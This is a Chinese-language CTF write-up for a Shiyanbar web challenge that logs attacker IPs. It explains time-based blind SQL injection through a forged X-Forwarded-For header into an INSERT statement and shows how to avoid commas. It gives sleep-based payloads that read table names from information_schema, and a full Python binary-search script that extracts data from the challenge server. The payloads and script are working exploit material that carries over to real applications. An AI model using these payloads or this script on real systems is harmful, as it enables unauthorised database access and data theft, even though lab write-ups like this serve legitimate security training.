題目地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php
根據提示 “我要把攻擊我的人都記錄db中去!” 猜測這是insert into注入,會向數據庫儲存ip地址,所以注入點便是我們的ip,而ip可以用X-Forwarded-For偽造
由於注入點的特殊,這里注入是不能用逗號的,因為服務器在從X-Forwarded-For中取ip的時候,會把逗號作為分割符區分多個ip,一般會取第一個作為用戶真實ip進行儲存,所以我們傳輸的數據,只有第一個逗號前的數據會到達數據庫
經過幾次測試,這里除了回顯ip外是不會有任何提示的,包括報錯注入,所以只能用基於時間的盲注
由於是向數據庫儲存數據,猜測后台的sql語句如下:insert into ipaddress(ip) values('ip');
提交如下數據 '+sleep(5));#
后台語句便為 insert into ipaddress(ip) values(''+sleep(5));#'); 即為 insert into ipaddress(ip) values(''+sleep(5));
服務器的響應時間為5秒以上就說明sleep()成功執行了
sql中有以下寫法
insert into t(name) values(( select case when (1) then sleep(1) else 1 end));
於是構造如下語句
'+ (select case when ( ascii(mid(( select group_concat(table_name) from information_schema.tables where table_schema=database() )from(1) ))>1 ) then sleep(1) end) );#
sql語句即為
insert into ipaddress(ip) values(''+ (select case when ( ascii(mid(( select group_concat(table_name) from information_schema.tables where table_schema=database() )from(1) ))>1 ) then sleep(1) end) );
用二分法寫python腳本,我只寫的猜解表名的,剩下的改下payload(select flag from flag)即可,另外,實驗吧的服務器是真的差,有時候都不給響應的,所以時間盲注得等網速快的時候才能用,不然就改一下sleep的時間。。。
1 import requests 2 import re 3 import time 4 5 requests=requests.session() 6 7 strall=[] 8 strall.append('0') 9 for i in range(33,128): 10 strall.append(str(i)) 11 12 13 14 #a=isthis(1,'98',">") 15 def isthis(index,charascii,compare): 16 url='http://ctf5.shiyanbar.com/web/wonderkun/index.php' 17 headers={ 18 'Content-Type': 'application/x-www-form-urlencoded', 19 "X-Forwarded-For":"'+ (select case when ( ascii(mid(( select group_concat(table_name) from information_schema.tables where table_schema=database() )from({}) ))".format(str(index))+compare+"{} ) then sleep(3) end) );#".format(charascii) 20 } 21 print headers['X-Forwarded-For'] 22 t0=time.time() 23 r=requests.get(url=url,headers=headers) 24 t=time.time()-t0 25 if t>3: 26 return True 27 else: 28 return False 29 30 31 32 33 ans='' 34 flag=0 35 for index in range(1,99): 36 left=0 37 right=len(strall) 38 if flag: 39 break 40 41 while left<=right: 42 mid=(left+right)>>1 43 if isthis(index,strall[mid],">"): 44 left=mid+1 45 elif isthis(index,strall[mid],"<"): 46 right=mid-1 47 else: 48 if strall[mid]=='0': 49 flag=1 50 break 51 value=chr(int(strall[mid])) 52 ans+=value 53 print ans 54 break 55 56 print ans 57 58 59 60 61 raw_input('done')
注意最后flag提交的格式是ctf{xxxx}